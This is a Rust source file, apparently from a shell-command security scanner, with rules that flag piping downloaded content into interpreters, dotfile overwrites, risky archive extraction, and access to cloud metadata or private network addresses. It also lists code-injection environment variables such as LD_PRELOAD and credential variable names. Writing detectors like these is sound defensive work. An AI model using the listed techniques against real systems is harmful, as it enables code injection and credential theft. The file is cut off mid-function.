1use crate::extract::ScanContext;
2use crate::tokenize::{self, ShellType};
3use crate::verdict::{Evidence, Finding, RuleId, Severity};
4
5pub const INTERPRETERS: &[&str] = &[
8 "sh",
9 "bash",
10 "zsh",
11 "dash",
12 "ksh",
13 "fish",
14 "csh",
15 "tcsh",
16 "ash",
17 "mksh",
18 "python",
19 "python2",
20 "python3",
21 "node",
22 "deno",
23 "bun",
24 "perl",
25 "ruby",
26 "php",
27 "lua",
28 "tclsh",
29 "elixir",
30 "rscript",
31 "pwsh",
32 "iex",
33 "invoke-expression",
34 "cmd",
35];
36
37fn parse_numeric_escape(
41 chars: &[char],
42 i: &mut usize,
43 max_digits: usize,
44 radix: u32,
45 predicate: fn(&char) -> bool,
46) -> Option<char> {
47 let mut buf = [0u8; 8];
48 let mut n = 0;
49 for _ in 0..max_digits {
50 if *i < chars.len() && predicate(&chars[*i]) {
51 buf[n] = chars[*i] as u8;
52 n += 1;
53 *i += 1;
54 } else {
55 break;
56 }
57 }
58 if n == 0 {
59 return None;
60 }
61 let s = std::str::from_utf8(&buf[..n]).ok()?;
62 let val = u32::from_str_radix(s, radix).ok()?;
63 char::from_u32(val)
64}
65
66fn normalize_shell_token(input: &str, shell: ShellType) -> String {
72 #[derive(PartialEq)]
73 enum QState {
74 Normal,
75 Single,
76 Double,
77 AnsiC,
78 }
79
80 let chars: Vec<char> = input.chars().collect();
81 let len = chars.len();
82 let mut out = String::with_capacity(len);
83 let mut i = 0;
84 let is_ps = matches!(shell, ShellType::PowerShell);
85 let is_cmd = matches!(shell, ShellType::Cmd);
86 let mut state = QState::Normal;
87
88 while i < len {
89 match state {
90 QState::Normal => {
91 let ch = chars[i];
92 if is_cmd && ch == '^' && i + 1 < len {
93 out.push(chars[i + 1]);
95 i += 2;
96 } else if !is_ps && !is_cmd && ch == '\\' && i + 1 < len {
97 out.push(chars[i + 1]);
99 i += 2;
100 } else if is_ps && ch == '`' && i + 1 < len {
101 out.push(chars[i + 1]);
103 i += 2;
104 } else if ch == '\'' && !is_cmd {
105 state = QState::Single;
106 i += 1;
107 } else if ch == '"' {
108 state = QState::Double;
109 i += 1;
110 } else if shell == ShellType::Posix
111 && ch == '$'
112 && i + 1 < len
113 && chars[i + 1] == '\''
114 {
115 state = QState::AnsiC;
116 i += 2;
117 } else {
118 out.push(ch);
119 i += 1;
120 }
121 }
122 QState::Single => {
124 if chars[i] == '\'' {
125 if is_ps && i + 1 < len && chars[i + 1] == '\'' {
127 out.push('\'');
128 i += 2;
129 } else {
130 state = QState::Normal;
131 i += 1;
132 }
133 } else {
134 out.push(chars[i]);
135 i += 1;
136 }
137 }
138 QState::Double => {
140 if chars[i] == '"' {
141 state = QState::Normal;
142 i += 1;
143 } else if !is_ps && chars[i] == '\\' && i + 1 < len {
144 let next = chars[i + 1];
146 if next == '"' || next == '\\' || next == '$' || next == '`' {
147 out.push(next);
148 i += 2;
149 } else {
150 out.push('\\');
152 out.push(next);
153 i += 2;
154 }
155 } else if is_ps && chars[i] == '`' && i + 1 < len {
156 out.push(chars[i + 1]);
158 i += 2;
159 } else {
160 out.push(chars[i]);
161 i += 1;
162 }
163 }
164 QState::AnsiC => {
166 if chars[i] == '\'' {
167 state = QState::Normal;
168 i += 1;
169 } else if chars[i] == '\\' && i + 1 < len {
170 let esc = chars[i + 1];
171 match esc {
172 'n' => {
173 out.push('\n');
174 i += 2;
175 }
176 't' => {
177 out.push('\t');
178 i += 2;
179 }
180 'r' => {
181 out.push('\r');
182 i += 2;
183 }
184 '\\' => {
185 out.push('\\');
186 i += 2;
187 }
188 '\'' => {
189 out.push('\'');
190 i += 2;
191 }
192 '"' => {
193 out.push('"');
194 i += 2;
195 }
196 'a' => {
197 out.push('\x07');
198 i += 2;
199 }
200 'b' => {
201 out.push('\x08');
202 i += 2;
203 }
204 'e' | 'E' => {
205 out.push('\x1b');
206 i += 2;
207 }
208 'f' => {
209 out.push('\x0c');
210 i += 2;
211 }
212 'v' => {
213 out.push('\x0b');
214 i += 2;
215 }
216 'x' => {
217 i += 2;
219 if let Some(c) =
220 parse_numeric_escape(&chars, &mut i, 2, 16, char::is_ascii_hexdigit)
221 {
222 out.push(c);
223 }
224 }
225 'u' => {
226 i += 2;
228 if let Some(c) =
229 parse_numeric_escape(&chars, &mut i, 4, 16, char::is_ascii_hexdigit)
230 {
231 out.push(c);
232 }
233 }
234 'U' => {
235 i += 2;
237 if let Some(c) =
238 parse_numeric_escape(&chars, &mut i, 8, 16, char::is_ascii_hexdigit)
239 {
240 out.push(c);
241 }
242 }
243 c if c.is_ascii_digit() && c <= '7' => {
244 i += 1; if let Some(c) = parse_numeric_escape(&chars, &mut i, 3, 8, |c| {
247 c.is_ascii_digit() && *c <= '7'
248 }) {
249 out.push(c);
250 }
251 }
252 _ => {
253 out.push('\\');
255 out.push(esc);
256 i += 2;
257 }
258 }
259 } else {
260 out.push(chars[i]);
261 i += 1;
262 }
263 }
264 }
265 }
266 out
267}
268
269fn normalize_cmd_base(raw: &str, shell: ShellType) -> String {
273 let normalized = normalize_shell_token(raw.trim(), shell);
274 basename_from_normalized(&normalized, shell)
275}
276
277fn basename_from_normalized(normalized: &str, shell: ShellType) -> String {
280 let has_path_sep = match shell {
281 ShellType::PowerShell | ShellType::Cmd => {
282 normalized.contains('/') || normalized.contains('\\')
283 }
284 _ => normalized.contains('/'),
285 };
286 let after_path = if has_path_sep {
287 match shell {
288 ShellType::PowerShell | ShellType::Cmd => {
289 normalized.rsplit(['/', '\\']).next().unwrap_or(normalized)
290 }
291 _ => normalized.rsplit('/').next().unwrap_or(normalized),
292 }
293 } else {
294 normalized
295 };
296 let first_word = after_path.split_whitespace().next().unwrap_or("");
297 let lower = first_word.to_lowercase();
298 if lower.ends_with(".exe") {
299 lower[..lower.len() - 4].to_string()
300 } else {
301 lower
302 }
303}
304
305fn is_interpreter(cmd: &str) -> bool {
306 INTERPRETERS.contains(&cmd)
307}
308
309pub fn check(
311 input: &str,
312 shell: ShellType,
313 cwd: Option<&str>,
314 scan_context: ScanContext,
315) -> Vec<Finding> {
316 let mut findings = Vec::new();
317 let segments = tokenize::tokenize(input, shell);
318
319 let has_pipe = segments.iter().any(|s| {
321 s.preceding_separator.as_deref() == Some("|")
322 || s.preceding_separator.as_deref() == Some("|&")
323 });
324 if has_pipe {
325 check_pipe_to_interpreter(&segments, shell, &mut findings);
326 }
327
328 for segment in &segments {
330 if let Some(ref cmd) = segment.command {
331 let cmd_base = normalize_cmd_base(cmd, shell);
332 if is_source_command(&cmd_base) {
333 let tls_findings =
334 crate::rules::transport::check_insecure_flags(&segment.args, true);
335 findings.extend(tls_findings);
336 }
337 }
338 }
339
340 check_dotfile_overwrite(&segments, &mut findings);
342
343 check_archive_extract(&segments, &mut findings);
345
346 if scan_context == ScanContext::Exec {
348 check_vet_not_configured(&segments, cwd, &mut findings);
349 }
350
351 check_env_var_in_command(&segments, &mut findings);
353
354 check_network_destination(&segments, &mut findings);
356
357 findings
358}
359
360fn resolve_interpreter_name(seg: &tokenize::Segment, shell: ShellType) -> Option<String> {
363 if let Some(ref cmd) = seg.command {
364 let cmd_base = normalize_cmd_base(cmd, shell);
365
366 if is_interpreter(&cmd_base) {
368 return Some(cmd_base);
369 }
370
371 let stripped = cmd_base.trim_start_matches('(').trim_end_matches(')');
373 if stripped != cmd_base && is_interpreter(stripped) {
374 return Some(stripped.to_string());
375 }
376
377 if cmd_base == "{" {
379 return resolve_from_args(&seg.args, shell);
380 }
381
382 match cmd_base.as_str() {
384 "sudo" => return resolve_sudo_args(&seg.args, shell),
385 "env" => return resolve_env_args(&seg.args, shell),
386 "command" | "exec" | "nohup" => {
387 return resolve_wrapper_args(&seg.args, &cmd_base, shell);
388 }
389 _ => {}
390 }
391 }
392 None
393}
394
395#[derive(Clone, Copy)]
396enum ResolverParser {
397 Generic,
398 Sudo,
399 Env,
400 Command,
401 Exec,
402 Nohup,
403}
404
405enum ResolveStep<'a> {
406 Found(String),
407 Next {
408 parser: ResolverParser,
409 args: &'a [String],
410 inspected: usize,
411 },
412 Stop,
413}
414
415fn resolve_from_args(args: &[String], shell: ShellType) -> Option<String> {
418 resolve_with_parser(args, shell, ResolverParser::Generic)
419}
420
421fn resolve_sudo_args(args: &[String], shell: ShellType) -> Option<String> {
422 resolve_with_parser(args, shell, ResolverParser::Sudo)
423}
424
425fn resolve_env_args(args: &[String], shell: ShellType) -> Option<String> {
426 resolve_with_parser(args, shell, ResolverParser::Env)
427}
428
429fn resolve_wrapper_args(args: &[String], wrapper: &str, shell: ShellType) -> Option<String> {
430 let parser = match wrapper {
431 "command" => ResolverParser::Command,
432 "exec" => ResolverParser::Exec,
433 "nohup" => ResolverParser::Nohup,
434 _ => ResolverParser::Command,
435 };
436 resolve_with_parser(args, shell, parser)
437}
438
439fn resolve_with_parser(
440 args: &[String],
441 shell: ShellType,
442 start_parser: ResolverParser,
443) -> Option<String> {
444 if args.is_empty() {
445 return None;
446 }
447
448 let mut parser = start_parser;
449 let mut current = args;
450 let mut budget = args.len().saturating_mul(4).saturating_add(8);
452
453 while budget > 0 && !current.is_empty() {
454 let step = match parser {
455 ResolverParser::Generic => resolve_step_generic(current, shell),
456 ResolverParser::Sudo => resolve_step_sudo(current, shell),
457 ResolverParser::Env => resolve_step_env(current, shell),
458 ResolverParser::Command => resolve_step_wrapper(current, shell, "command"),
459 ResolverParser::Exec => resolve_step_wrapper(current, shell, "exec"),
460 ResolverParser::Nohup => resolve_step_wrapper(current, shell, "nohup"),
461 };
462
463 match step {
464 ResolveStep::Found(interpreter) => return Some(interpreter),
465 ResolveStep::Stop => return None,
466 ResolveStep::Next {
467 parser: next_parser,
468 args: next_args,
469 inspected,
470 } => {
471 parser = next_parser;
472 current = next_args;
473 budget = budget.saturating_sub(inspected.max(1));
474 }
475 }
476 }
477 None
478}
479
480fn resolve_step_generic<'a>(args: &'a [String], shell: ShellType) -> ResolveStep<'a> {
481 let mut idx = 0;
482 let mut seen_dashdash = false;
483 while idx < args.len() {
484 let raw = args[idx].trim();
485 let normalized = normalize_shell_token(raw, shell);
486
487 if normalized == "--" {
489 seen_dashdash = true;
490 idx += 1;
491 continue;
492 }
493
494 if !seen_dashdash
496 && (normalized.starts_with("--")
497 || normalized.starts_with('-')
498 || normalized.contains('='))
499 {
500 idx += 1;
501 continue;
502 }
503
504 let base = basename_from_normalized(&normalized, shell);
505 return match base.as_str() {
506 "sudo" => ResolveStep::Next {
507 parser: ResolverParser::Sudo,
508 args: &args[idx + 1..],
509 inspected: idx + 1,
510 },
511 "env" => ResolveStep::Next {
512 parser: ResolverParser::Env,
513 args: &args[idx + 1..],
514 inspected: idx + 1,
515 },
516 "command" => ResolveStep::Next {
517 parser: ResolverParser::Command,
518 args: &args[idx + 1..],
519 inspected: idx + 1,
520 },
521 "exec" => ResolveStep::Next {
522 parser: ResolverParser::Exec,
523 args: &args[idx + 1..],
524 inspected: idx + 1,
525 },
526 "nohup" => ResolveStep::Next {
527 parser: ResolverParser::Nohup,
528 args: &args[idx + 1..],
529 inspected: idx + 1,
530 },
531 _ if is_interpreter(&base) => ResolveStep::Found(base),
532 _ => ResolveStep::Stop,
533 };
534 }
535 ResolveStep::Stop
536}
537
538fn resolve_step_sudo<'a>(args: &'a [String], shell: ShellType) -> ResolveStep<'a> {
539 let value_short_flags = ["-u", "-g", "-C", "-D", "-R", "-T"];
540 let value_long_flags = [
541 "--user",
542 "--group",
543 "--close-from",
544 "--chdir",
545 "--role",
546 "--type",
547 "--other-user",
548 "--host",
549 "--timeout",
550 ];
551
552 let mut idx = 0;
553 while idx < args.len() {
554 let raw = args[idx].trim();
555 let normalized = normalize_shell_token(raw, shell);
556 if normalized == "--" {
558 return ResolveStep::Next {
559 parser: ResolverParser::Generic,
560 args: &args[(idx + 1).min(args.len())..],
561 inspected: idx + 1,
562 };
563 }
564 if normalized.starts_with("--") {
565 if value_long_flags.iter().any(|f| normalized == *f) {
566 idx += 2;
567 continue;
568 }
569 if let Some((key, _)) = normalized.split_once('=') {
570 if value_long_flags.contains(&key) {
571 idx += 1;
572 continue;
573 }
574 }
575 idx += 1;
577 continue;
578 }
579 if normalized.starts_with('-') {
580 if value_short_flags.iter().any(|f| normalized == *f) {
581 idx += 2;
583 } else if normalized.len() > 2
584 && value_short_flags.iter().any(|f| {
585 normalized.ends_with(&f[1..]) })
587 {
588 idx += 2;
590 } else {
591 idx += 1;
592 }
593 continue;
594 }
595 return ResolveStep::Next {
596 parser: ResolverParser::Generic,
597 args: &args[idx..],
598 inspected: idx + 1,
599 };
600 }
601 ResolveStep::Stop
602}
603
604fn resolve_step_env<'a>(args: &'a [String], shell: ShellType) -> ResolveStep<'a> {
605 let value_short_flags = ["-u", "-C"];
606 let value_long_flags = [
607 "--unset",
608 "--chdir",
609 "--split-string",
610 "--block-signal",
611 "--default-signal",
612 "--ignore-signal",
613 ];
614
615 let mut idx = 0;
616 while idx < args.len() {
617 let raw = args[idx].trim();
618 let normalized = normalize_shell_token(raw, shell);
619 if normalized == "--" {
621 return ResolveStep::Next {
622 parser: ResolverParser::Generic,
623 args: &args[(idx + 1).min(args.len())..],
624 inspected: idx + 1,
625 };
626 }
627 if normalized.starts_with("--") {
628 if normalized == "--split-string" {
630 if idx + 1 < args.len() {
631 let base = normalize_cmd_base(&args[idx + 1], shell);
632 if is_interpreter(&base) {
633 return ResolveStep::Found(base);
634 }
635 }
636 idx += 2;
637 continue;
638 }
639 if let Some(val) = normalized.strip_prefix("--split-string=") {
640 let base = normalize_cmd_base(val, shell);
641 if is_interpreter(&base) {
642 return ResolveStep::Found(base);
643 }
644 idx += 1;
645 continue;
646 }
647 if value_long_flags.iter().any(|f| normalized == *f) {
648 idx += 2;
649 continue;
650 }
651 if let Some((key, _)) = normalized.split_once('=') {
652 if value_long_flags.contains(&key) {
653 idx += 1;
654 continue;
655 }
656 }
657 idx += 1;
659 continue;
660 }
661 if normalized == "-S" {
662 if idx + 1 < args.len() {
664 let base = normalize_cmd_base(&args[idx + 1], shell);
665 if is_interpreter(&base) {
666 return ResolveStep::Found(base);
667 }
668 }
669 idx += 2;
670 continue;
671 }
672 if normalized.starts_with('-') {
673 if value_short_flags.iter().any(|f| normalized == *f) {
674 idx += 2;
675 } else {
676 idx += 1;
677 }
678 continue;
679 }
680 if normalized.contains('=') {
681 idx += 1;
682 continue;
683 }
684 return ResolveStep::Next {
685 parser: ResolverParser::Generic,
686 args: &args[idx..],
687 inspected: idx + 1,
688 };
689 }
690 ResolveStep::Stop
691}
692
693fn resolve_step_wrapper<'a>(
694 args: &'a [String],
695 shell: ShellType,
696 wrapper: &str,
697) -> ResolveStep<'a> {
698 let value_flags: &[&str] = match wrapper {
699 "exec" => &["-a"],
700 _ => &[],
701 };
702
703 let mut idx = 0;
704 while idx < args.len() {
705 let raw = args[idx].trim();
706 let normalized = normalize_shell_token(raw, shell);
707 if normalized == "--" {
709 return ResolveStep::Next {
710 parser: ResolverParser::Generic,
711 args: &args[(idx + 1).min(args.len())..],
712 inspected: idx + 1,
713 };
714 }
715 if normalized.starts_with("--") || normalized.starts_with('-') {
716 if value_flags.iter().any(|f| normalized == *f) {
717 idx += 2;
718 } else {
719 idx += 1;
720 }
721 continue;
722 }
723 return ResolveStep::Next {
724 parser: ResolverParser::Generic,
725 args: &args[idx..],
726 inspected: idx + 1,
727 };
728 }
729 ResolveStep::Stop
730}
731
732fn check_pipe_to_interpreter(
733 segments: &[tokenize::Segment],
734 shell: ShellType,
735 findings: &mut Vec<Finding>,
736) {
737 for (i, seg) in segments.iter().enumerate() {
738 if i == 0 {
739 continue;
740 }
741 if let Some(sep) = &seg.preceding_separator {
742 if sep == "|" || sep == "|&" {
743 if let Some(interpreter) = resolve_interpreter_name(seg, shell) {
744 let source = &segments[i - 1];
746 let source_cmd_ref = source.command.as_deref().unwrap_or("unknown");
747 let source_base = normalize_cmd_base(source_cmd_ref, shell);
748
749 if source_base == "tirith" {
751 continue;
752 }
753
754 let rule_id = match source_base.as_str() {
755 "curl" => RuleId::CurlPipeShell,
756 "wget" => RuleId::WgetPipeShell,
757 "http" | "https" => RuleId::HttpiePipeShell,
758 "xh" => RuleId::XhPipeShell,
759 _ => RuleId::PipeToInterpreter,
760 };
761
762 let display_cmd = seg.command.as_deref().unwrap_or(&interpreter);
763
764 let base_desc = format!(
765 "Command pipes output from '{source_base}' directly to \
766 interpreter '{interpreter}'. Downloaded content will be \
767 executed without inspection."
768 );
769
770 let description = if is_url_fetch_command(&source_base) {
771 let show_tirith_run = cfg!(unix)
772 && supports_tirith_run_hint(&source_base)
773 && shell != ShellType::PowerShell;
774 if let Some(url) = extract_url_from_args(&source.args, shell)
775 .map(|u| sanitize_url_for_display(&u))
776 {
777 if show_tirith_run {
778 format!(
779 "{base_desc}\n Safer: tirith run {url} \
780 \u{2014} or: vet {url} (https://getvet.sh)"
781 )
782 } else {
783 format!(
784 "{base_desc}\n Safer: vet {url} \
785 (https://getvet.sh)"
786 )
787 }
788 } else if show_tirith_run {
789 format!(
790 "{base_desc}\n Safer: use 'tirith run <url>' \
791 or 'vet <url>' (https://getvet.sh) to inspect \
792 before executing."
793 )
794 } else {
795 format!(
796 "{base_desc}\n Safer: use 'vet <url>' \
797 (https://getvet.sh) to inspect before executing."
798 )
799 }
800 } else {
801 base_desc
802 };
803
804 findings.push(Finding {
805 rule_id,
806 severity: Severity::High,
807 title: format!("Pipe to interpreter: {source_cmd_ref} | {display_cmd}"),
808 description,
809 evidence: vec![Evidence::CommandPattern {
810 pattern: "pipe to interpreter".to_string(),
811 matched: format!("{} | {}", source.raw, seg.raw),
812 }],
813 human_view: None,
814 agent_view: None,
815 mitre_id: None,
816 custom_rule_id: None,
817 });
818 }
819 }
820 }
821 }
822}
823
824fn check_dotfile_overwrite(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
825 for segment in segments {
826 let raw = &segment.raw;
828 if (raw.contains("> ~/.")
829 || raw.contains("> $HOME/.")
830 || raw.contains(">> ~/.")
831 || raw.contains(">> $HOME/."))
832 && !raw.contains("> /dev/null")
833 {
834 findings.push(Finding {
835 rule_id: RuleId::DotfileOverwrite,
836 severity: Severity::High,
837 title: "Dotfile overwrite detected".to_string(),
838 description: "Command redirects output to a dotfile in the home directory, which could overwrite shell configuration".to_string(),
839 evidence: vec![Evidence::CommandPattern {
840 pattern: "redirect to dotfile".to_string(),
841 matched: raw.clone(),
842 }],
843 human_view: None,
844 agent_view: None,
845 mitre_id: None,
846 custom_rule_id: None,
847 });
848 }
849 }
850}
851
852fn check_archive_extract(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
853 for segment in segments {
854 if let Some(ref cmd) = segment.command {
855 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
856 if cmd_base == "tar" || cmd_base == "unzip" || cmd_base == "7z" {
857 let raw = &segment.raw;
859 let sensitive_targets = [
860 "-C /",
861 "-C ~/",
862 "-C $HOME/",
863 "-d /",
864 "-d ~/",
865 "-d $HOME/",
866 "> ~/.",
867 ">> ~/.",
868 ];
869 for target in &sensitive_targets {
870 if raw.contains(target) {
871 findings.push(Finding {
872 rule_id: RuleId::ArchiveExtract,
873 severity: Severity::Medium,
874 title: "Archive extraction to sensitive path".to_string(),
875 description: format!(
876 "Archive command '{cmd_base}' extracts to a potentially sensitive location"
877 ),
878 evidence: vec![Evidence::CommandPattern {
879 pattern: "archive extract".to_string(),
880 matched: raw.clone(),
881 }],
882 human_view: None,
883 agent_view: None,
884 mitre_id: None,
885 custom_rule_id: None,
886 });
887 return;
888 }
889 }
890 }
891 }
892 }
893}
894
895const CODE_INJECTION_VARS: &[&str] = &[
901 "LD_PRELOAD",
902 "LD_LIBRARY_PATH",
903 "LD_AUDIT",
904 "DYLD_INSERT_LIBRARIES",
905 "DYLD_LIBRARY_PATH",
906];
907
908const SHELL_INJECTION_VARS: &[&str] = &["BASH_ENV", "ENV", "PROMPT_COMMAND"];
910
911const INTERPRETER_HIJACK_VARS: &[&str] = &["PYTHONPATH", "NODE_OPTIONS", "RUBYLIB", "PERL5LIB"];
913
914const SENSITIVE_KEY_VARS: &[&str] = &[
916 "AWS_ACCESS_KEY_ID",
917 "AWS_SECRET_ACCESS_KEY",
918 "AWS_SESSION_TOKEN",
919 "OPENAI_API_KEY",
920 "ANTHROPIC_API_KEY",
921 "GITHUB_TOKEN",
922];
923
924fn classify_env_var(name: &str) -> Option<(RuleId, Severity, &'static str, &'static str)> {
925 let name_upper = name.to_ascii_uppercase();
926 let name = name_upper.as_str();
927 if CODE_INJECTION_VARS.contains(&name) {
928 Some((
929 RuleId::CodeInjectionEnv,
930 Severity::Critical,
931 "Code injection environment variable",
932 "can inject shared libraries into all processes, enabling arbitrary code execution",
933 ))
934 } else if SHELL_INJECTION_VARS.contains(&name) {
935 Some((
936 RuleId::ShellInjectionEnv,
937 Severity::Critical,
938 "Shell injection environment variable",
939 "can cause arbitrary script execution at shell startup",
940 ))
941 } else if INTERPRETER_HIJACK_VARS.contains(&name) {
942 Some((
943 RuleId::InterpreterHijackEnv,
944 Severity::High,
945 "Interpreter hijack environment variable",
946 "can hijack the interpreter's module/library search path",
947 ))
948 } else if SENSITIVE_KEY_VARS.contains(&name) {
949 Some((
950 RuleId::SensitiveEnvExport,
951 Severity::High,
952 "Sensitive credential exported",
953 "exposes a sensitive credential that may be logged in shell history",
954 ))
955 } else {
956 None
957 }
958}
959
960const CARGO_VALUE_FLAGS: &[&str] = &[
962 "-Z",
963 "-C",
964 "--config",
965 "--manifest-path",
966 "--color",
967 "--target-dir",
968 "--target",
969];
970
971fn is_cargo_install_or_add(args: &[String]) -> bool {
974 let mut skip_next = false;
975 for arg in args {
976 if skip_next {
977 skip_next = false;
978 continue;
979 }
980 if arg.starts_with('+') {
982 continue;
983 }
984 if arg.starts_with("--") && arg.contains('=') {
986 continue;
987 }
988 if CARGO_VALUE_FLAGS.contains(&arg.as_str()) {
990 skip_next = true;
991 continue;
992 }
993 if arg.starts_with('-') {
995 continue;
996 }
997 return arg == "install" || arg == "add";
999 }
1000 false
1001}
1002
1003fn check_vet_not_configured(
1005 segments: &[tokenize::Segment],
1006 cwd: Option<&str>,
1007 findings: &mut Vec<Finding>,
1008) {
1009 let is_cargo_install = segments.iter().any(|s| {
1010 if let Some(ref cmd) = s.command {
1011 let base = cmd
1012 .rsplit(['/', '\\'])
1013 .next()
1014 .unwrap_or(cmd)
1015 .to_ascii_lowercase();
1016 let base = base.strip_suffix(".exe").unwrap_or(&base);
1017 if base == "cargo" {
1018 return is_cargo_install_or_add(&s.args);
1019 }
1020 }
1021 false
1022 });
1023 if !is_cargo_install {
1024 return;
1025 }
1026
1027 let cwd = match cwd {
1030 Some(dir) => dir,
1031 None => return,
1032 };
1033 let check_path = std::path::PathBuf::from(cwd).join("supply-chain/config.toml");
1034 if check_path.exists() {
1035 return;
1036 }
1037
1038 findings.push(Finding {
1039 rule_id: RuleId::VetNotConfigured,
1040 severity: Severity::Low,
1041 title: "No supply-chain audit configured".into(),
1042 description: "Consider running `cargo vet init` to enable dependency auditing.".into(),
1043 evidence: vec![],
1044 human_view: None,
1045 agent_view: None,
1046 mitre_id: None,
1047 custom_rule_id: None,
1048 });
1049}
1050
1051fn check_env_var_in_command(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
1052 for segment in segments {
1053 let Some(ref cmd) = segment.command else {
1054 continue;
1055 };
1056 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
1057
1058 match cmd_base.as_str() {
1059 "export" => {
1060 for arg in &segment.args {
1061 if let Some((var_name, value)) = arg.split_once('=') {
1062 emit_env_finding(var_name.trim(), value, findings);
1063 }
1064 }
1065 }
1066 "env" => {
1067 for arg in &segment.args {
1068 let trimmed = arg.trim();
1069 if trimmed.starts_with('-') {
1070 continue;
1071 }
1072 if let Some((var_name, value)) = trimmed.split_once('=') {
1073 emit_env_finding(var_name.trim(), value, findings);
1074 }
1075 }
1076 }
1077 "set" => {
1078 let mut var_name: Option<&str> = None;
1080 let mut value_parts: Vec<&str> = Vec::new();
1081 for arg in &segment.args {
1082 let trimmed = arg.trim();
1083 if trimmed.starts_with('-') && var_name.is_none() {
1084 continue;
1085 }
1086 if var_name.is_none() {
1087 var_name = Some(trimmed);
1088 } else {
1089 value_parts.push(trimmed);
1090 }
1091 }
1092 if let Some(name) = var_name {
1093 emit_env_finding(name, &value_parts.join(" "), findings);
1094 }
1095 }
1096 _ => {}
1097 }
1098 }
1099}
1100
1101fn emit_env_finding(var_name: &str, value: &str, findings: &mut Vec<Finding>) {
1102 let Some((rule_id, severity, title_prefix, desc_suffix)) = classify_env_var(var_name) else {
1103 return;
1104 };
1105 let value_preview = redact_env_value(value);
1106 findings.push(Finding {
1107 rule_id,
1108 severity,
1109 title: format!("{title_prefix}: {var_name}"),
1110 description: format!("Setting {var_name} {desc_suffix}"),
1111 evidence: vec![Evidence::EnvVar {
1112 name: var_name.to_string(),
1113 value_preview,
1114 }],
1115 human_view: None,
1116 agent_view: None,
1117 mitre_id: None,
1118 custom_rule_id: None,
1119 });
1120}
1121
1122fn redact_env_value(val: &str) -> String {
1123 let prefix = crate::util::truncate_bytes(val, 20);
1124 if prefix.len() == val.len() {
1125 val.to_string()
1126 } else {
1127 format!("{prefix}...")
1128 }
1129}
1130
1131const METADATA_ENDPOINTS: &[&str] = &["169.254.169.254", "100.100.100.200"];
1137
1138fn check_host_for_network_issues(arg: &str, findings: &mut Vec<Finding>) {
1139 if let Some(host) = extract_host_from_arg(arg) {
1140 if METADATA_ENDPOINTS.contains(&host.as_str()) {
1141 findings.push(Finding {
1142 rule_id: RuleId::MetadataEndpoint,
1143 severity: Severity::Critical,
1144 title: format!("Cloud metadata endpoint access: {host}"),
1145 description: format!(
1146 "Command accesses cloud metadata endpoint {host}, \
1147 which can expose instance credentials and sensitive configuration"
1148 ),
1149 evidence: vec![Evidence::Url {
1150 raw: arg.to_string(),
1151 }],
1152 human_view: None,
1153 agent_view: None,
1154 mitre_id: None,
1155 custom_rule_id: None,
1156 });
1157 } else if is_private_ip(&host) {
1158 findings.push(Finding {
1159 rule_id: RuleId::PrivateNetworkAccess,
1160 severity: Severity::High,
1161 title: format!("Private network access: {host}"),
1162 description: format!(
1163 "Command accesses private network address {host}, \
1164 which may indicate SSRF or lateral movement"
1165 ),
1166 evidence: vec![Evidence::Url {
1167 raw: arg.to_string(),
1168 }],
1169 human_view: None,
1170 agent_view: None,
1171 mitre_id: None,
1172 custom_rule_id: None,
1173 });
1174 }
1175 }
1176}
1177
1178fn check_network_destination(segments: &[tokenize::Segment], findings: &mut Vec<Finding>) {
1179 for segment in segments {
1180 let Some(ref cmd) = segment.command else {
1181 continue;
1182 };
1183 let cmd_base = cmd.rsplit('/').next().unwrap_or(cmd).to_lowercase();
1184 if !is_source_command(&cmd_base) {
1185 continue;
1186 }
1187
1188 for arg in &segment.args {
1189 let trimmed = arg.trim().trim_matches(|c: char| c == '\'' || c == '"');
1190 if trimmed.starts_with('-') {
1191 if let Some((_flag, value)) = trimmed.split_once('=') {
1193 check_host_for_network_issues(value, findings);
1194 }
1195 continue;
1196 }
1197
1198 check_host_for_network_issues(trimmed, findings);
1199 }
1200 }
1201}
1202
1203fn extract_host_from_arg(arg: &str) -> Option<String> {
1205 if let Some(scheme_end) = arg.find("://") {
1207 let after_scheme = &arg[scheme_end + 3..];
1208 let after_userinfo = if let Some(at_idx) = after_scheme.find('@') {
1210 &after_scheme[at_idx + 1..]
1211 } else {
1212 after_scheme
1213 };
1214 let host_port = after_userinfo.split('/').next().unwrap_or(after_userinfo);
1216 let host = strip_port(host_port);
1217 if host.is_empty() || host.contains('/') || host.contains('[') {
1219 return None;
1220 }
1221 return Some(host);
1222 }
1223
1224 let host_part = arg.split('/').next().unwrap_or(arg);
1226 let host = strip_port(host_part);
1227
1228 if host.parse::<std::net::Ipv4Addr>().is_ok() {
1230 return Some(host);
1231 }
1232
1233 if host_part.starts_with('[') {
1235 if let Some(bracket_end) = host_part.find(']') {
1236 let ipv6 = &host_part[1..bracket_end];
1237 if ipv6.parse::<std::net::Ipv6Addr>().is_ok() {
1238 return Some(ipv6.to_string());
1239 }
1240 }
1241 }
1242
1243 None
1244}
1245
1246fn strip_port(host_port: &str) -> String {
1248 if host_port.starts_with('[') {
1250 if let Some(bracket_end) = host_port.find(']') {
1251 return host_port[1..bracket_end].to_string();
1252 }
1253 }
1254 let colon_count = host_port.chars().filter(|&c| c == ':').count();
1256 if colon_count > 1 {
1257 return host_port.to_string(); }
1259 if let Some(colon_idx) = host_port.rfind(':') {
1261 if host_port[colon_idx + 1..].parse::<u16>().is_ok() {
1262 return host_port[..colon_idx].to_string();
1263 }
1264 }
1265 host_port.to_string()
1266}
1267
1268fn is_private_ip(host: &str) -> bool {
1270 if let Ok(ip) = host.parse::<std::net::Ipv4Addr>() {
1271 let octets = ip.octets();
1272 if octets[0] == 127 {
1274 return false;
1275 }
1276 return octets[0] == 10
1277 || (octets[0] == 172 && (16..=31).contains(&octets[1]))
1278 || (octets[0] == 192 && octets[1] == 168);
1279 }
1280 false
1281}
1282
1283const POSIX_FETCH_COMMANDS: &[&str] = &["curl", "wget", "http", "https", "xh", "fetch"];
1285
1286const POWERSHELL_FETCH_COMMANDS: &[&str] =
1289 &["iwr", "irm", "invoke-webrequest", "invoke-restmethod"];
1290
1291const NON_FETCH_SOURCE_COMMANDS: &[&str] = &["scp", "rsync"];
1293
1294fn is_source_command(cmd: &str) -> bool {
1295 POSIX_FETCH_COMMANDS.contains(&cmd)
1296 || POWERSHELL_FETCH_COMMANDS.contains(&cmd)
